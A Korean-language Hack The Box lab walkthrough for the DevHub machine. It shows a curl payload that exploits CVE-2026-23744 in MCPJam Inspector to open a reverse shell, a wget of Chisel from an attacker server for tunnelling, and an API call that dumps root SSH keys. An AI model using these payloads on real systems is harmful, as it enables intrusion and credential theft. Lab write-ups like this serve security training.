
Hack The Box - DevHub 머신 워크스루 (중급 Linux, CVE-2026-23744, Chisel 터널링, Jupyter, 루트 권한 상승)
머신: DevHub
난이도: Medium
OS: Linux
주제: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root 권한 상승
nmap -sC -sV devhub.htb
결과:
Port 22 (SSH)
Port 80 (HTTP)
Port 6274 (MCPJam Inspector)
📌 2. Hosts 파일 수정
echo "10.x.x.x devhub.htb" >> /etc/hosts
📌 3. 웹사이트 탐색
http://devhub.htb/ → 랜딩 페이지
http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (CVE-2026-23744에 취약)
📌 4. mcp-dev로 리버스 쉘
터미널 1 – 리스너:
nc -lvnp 4444
터미널 2 – 페이로드:
curl -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'
✅ mcp-dev로 쉘 획득
📌 5. Chisel 터널 설정
HTTP 서버 (공격자):
python3 -m http.server 8000 --bind 10.x.x.x
대상에 Chisel 다운로드 (mcp-dev 쉘):
cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel
Chisel 서버 (공격자):
./chisel server --reverse --port 9001
Chisel 클라이언트 (mcp-dev 쉘):
./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &
📌 6. Jupyter 접근
토큰 확인 (mcp-dev 쉘):
ps aux | grep jupyter | grep -v grep
토큰: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx
브라우저: http://localhost:8888/?token=...
📌 7. Root SSH 키 획득 (Jupyter 내)
import requests, json
url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}
response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))
📌 8. Root 로그인
nano root_key
# 키 입력
chmod 600 root_key
ssh -i root_key [email protected]
📌 9. 플래그
cat /root/root.txt
cat /home/analyst/user.txt
루트 플래그:
08be4cfb68597d0f9edfccxxxxxxxxxx
행운을 빕니다! 🚀